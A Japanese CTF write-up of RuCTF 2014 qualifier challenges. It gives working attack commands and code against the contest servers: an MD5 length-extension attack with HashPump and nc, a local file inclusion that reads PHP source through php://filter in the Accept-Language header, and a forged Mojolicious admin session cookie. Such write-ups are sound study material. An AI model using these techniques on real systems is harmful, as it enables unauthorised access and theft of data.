RuCTF 2014 Quals Write-up
RuCTF 2014 Qualsに、チームsuperflipとして1日だけ参加していた。310点182位(´・ω・`) RuCTF、問題数が50問もあって、どの問題も面白そうですごい。以下、解けなかったのもあるけど、挑戦した問題。
crypto 100. MD5
未知の文字列passwordにたいして、適当な文字列msgとmd5(password+msg)を求めよという問題。ただし、
md5(password+"do test connection") = "b34c39b9e83f0e965cf392831b3d71b"
が問題文で与えられている。
典型的なLength extension attack。HashPumpという便利ツールがあるので使うと楽。
$ ./HashPump -s b34c39b9e83f0e965cf392831b3d71b8 -d "do test connection" -a "hackhack" -k 10 25eacdeeaf207db6229130daeb9804a3 do test connection\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00hackhack $ for ((i=1; i<32; i++)) > do > ./HashPump -s b34c39b9e83f0e965cf392831b3d71b8 -d "do test connection" -a "hackhack" -k $i | python -c 'import sys; sys.stdout.write(raw_input()+" "+raw_input().decode("string_escape"))' | nc python27.quals.ructf.org 12337 > done Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Message accepted! The answer is RUCTF_CryptoIsFunAndEasy Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature Wrong signature
RUCTF_CryptoIsFunAndEasy
reverse 10. Harm
harm0597 discmagの中のragger.hscのmd5を答えよという問題。何が何だか分からないけど、ググって出てきたファイルで正解だった。
8fafa0b0ed4984edd8ffac5cd0f46089
reverse 300. Erl
Erlangのプログラムを解析する問題。
>erl Eshell V5.9.2 (abort with ^G) 1> io:format("~p",[beam_disasm:file(r)]).
で、逆アセンブルできる。{x,n}がスレッドローカル変数、{y,n}が関数ローカル変数で、{f,n}は{label,n}を指すらしい。ここにBEAM(ErlangのVM?)のInstruction setがあるけど、古いのか載っていないinstructionも多くて断念。
reverse 400. PIN code
16bitプログラムを逆アセンブルする問題。
ndisasm -b 16 main.45c1ec963414c50855bcb1172dd808d2
で逆アセンブルできる。
>ndisasm -b 16 -e 621 main.45c1ec963414c50855bcb1172dd808d2
なら先頭621バイトをスキップ。プログラムはセクションも何も無くて、そのままメモリの0x100に貼り付けられる。
解析してみると、最初にa=0x16として、ファイルの0x3dから順に値cを読んで、a=A[a*10+(c-2)]と更新していき、a=0x14になったらOK、というプログラムだった。普通にダイクストラするだけで良さそう。ただし、10文字読んだら次は1文字目に戻る。a=0x14に辿り着くためには、最後は3, 6, 4, 7になっていないといけないので、最初の数字を7や、4, 7に固定して探索した。
A = [ord(c) for c in open("main","rb").read()][0x179:0x36d] start = 0x16 P = [x-2 for x in [4,7]] for p in P: start = A[start*10+p] T = ["x"*100]*50 T[start] = "" Q = [start] while len(Q)>0: p = Q.pop(0) for i in range(10)[::-1]: q = A[p*10+i] s = T[p]+"%x"%(i+2) if len(s)<len(T[q]): T[q] = s Q += [q] print T[0x14]
4753928a3647で、0x14に到達できることが分かったけど、投稿しても不正解(´・ω・`)
追記:
qwerty 2014/03/11 03:01
In PIN code you got keyboard scancodes. You can translate it to keys using this: http://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BD-%D0%BA%D0%BE%D0%B4 It is available only in Russian but understandable. So, you should write 364281792536
コメントで教えてもらった。これはキーのスキャンコードなので、それをキーに直す必要があったらしい。たしかに、呼び出されてはいないけど、in al, 0x60とかのコードが問題のバイナリ中にあった……。
vuln 100. Guess the flag
与えられたプログラムがサーバーで動いているので攻略しろという問題。
試しに繋いでみて、何となく「F」と打ったら、一発で正解だった。ラッキー(・∀・)
>nc vuln1.quals.ructf.org 16712 So, what do you think the flag is? > F How pathetic. Here, have a hint: FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF RUCTF_f4205156a73b7bd143ab06e7722e3c81f72b8429
RUCTF_f4205156a73b7bd143ab06e7722e3c81f72b8429
web 100. php
指定されたサーバーにアクセスすると「Language was detect automatically :)」と書かれたファイルが表示される。Accept-Languageをruにするとロシア語になる。/enや/ruで、ファイルがダウンロードできる。ということで、Accept-Languageにファイル名を指定すると、任意のファイルが読み出せる。どのファイルに答えが書いてあるのか分からず、終了。
追記:
01:08 (stypr) http://logic.stypr.com/ctf/2014/RuCTF_solutions.zip (misc200, recon100-300, web100, web300, stego 300)
index.phpを読み込もうとすると無限ループしていたけど、php://filterを使えば良いのか。前に見た技だけど思い出せなかったのが悔しい。
>nc w1.quals.ructf.org 80 GET / HTTP/1.1 Host: w1.quals.ructf.org Accept-Language: php://filter/read=convert.base64-encode/resource=index.php HTTP/1.1 200 OK Server: nginx/1.2.1 Date: Mon, 10 Mar 2014 18:09:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.4-14+deb7u7 429 <!doctype html> <html> <head> <style type="text/css"> pre { width: 640px; white-space: normal; text-align: justify;}; </style> </head> <body> <center> <h2>CTF</h2> PCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAg cHJlIHsgd2lkdGg6IDY0MHB4OyB3aGl0ZS1zcGFjZTogbm9ybWFsOyB0ZXh0LWFsaWduOiBqdXN0aWZ5 O307CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGNlbnRlcj4KPGgyPkNURjwvaDI+Cjw/cGhwCiAg aGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwogICRmbGFnID0g JzVjZjI3ZDliYWQyZmU5ZDk2ZDJiY2YyNWMzYjBiZDE0JzsKICAkb2sgICA9IDA7CiAgZm9yZWFjaChl eHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIGFzICRzKSB7CiAgICAk bCA9IGV4cGxvZGUoJzsnLCAkcylbMF07CiAgICBpZiAoaW5jbHVkZSAkbCkgewogICAgICAkb2sgPSAx OwogICAgICBicmVhazsKICAgIH0KICB9CiAgaWYgKCEkb2spIHsKICAgIGluY2x1ZGUgJ2VuJzsKICAg IGVjaG8gJ0xhbmd1YWdlIHdhcyBub3QgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOignOwogIH0gZWxzZSB7 CiAgICBlY2hvICdMYW5ndWFnZSB3YXMgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOiknOwogIH0KPz4KPGNl bnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cg==Language was detect automatically :)<center> </body> </html> 0
復号
<!doctype html> <html> <head> <style type="text/css"> pre { width: 640px; white-space: normal; text-align: justify;}; </style> </head> <body> <center> <h2>CTF</h2> <?php header('Content-Type: text/html; charset=utf-8'); $flag = '5cf27d9bad2fe9d96d2bcf25c3b0bd14'; $ok = 0; foreach(explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $s) { $l = explode(';', $s)[0]; if (include $l) { $ok = 1; break; } } if (!$ok) { include 'en'; echo 'Language was not detect automatically :('; } else { echo 'Language was detect automatically :)'; } ?> <center> </body> </html>
web 200. es
2014/03/06追記
解法がこのブログに書いてある。
ユーザー登録してログインすると、
mojolicious=eyJuYW1lIjoia3VzYW5vIiwiZXhwaXJlcyI6MTM5NDkxMDI3NX0---899e014b21f9b225c63cf9e8b2901e3c0b1ebce5
という感じのCookieが設定される。復号すると、
{"name":"kusano","expires":1394910275}
Mojoliciousというフレームワークがあって、セッション情報をクッキーに保存するらしい。後半の署名はHMAC-SHA1。
import hmac, hashlib d = '{"name":"admin","expires":1394910275}'.encode("base64").replace("=","-").replace("\n","") h = hmac.new("ructf", d, hashlib.sha1).hexdigest() print d + "--" + h
でnameがadminのクッキー
eyJuYW1lIjoiYWRtaW4iLCJleHBpcmVzIjoxMzk0OTEwMjc1fQ----e586f70910c6e66df384c1d80f853e4a30881e34
を作り、設定するとadminになれる。
054ad7a734437d6853383ad919526dc5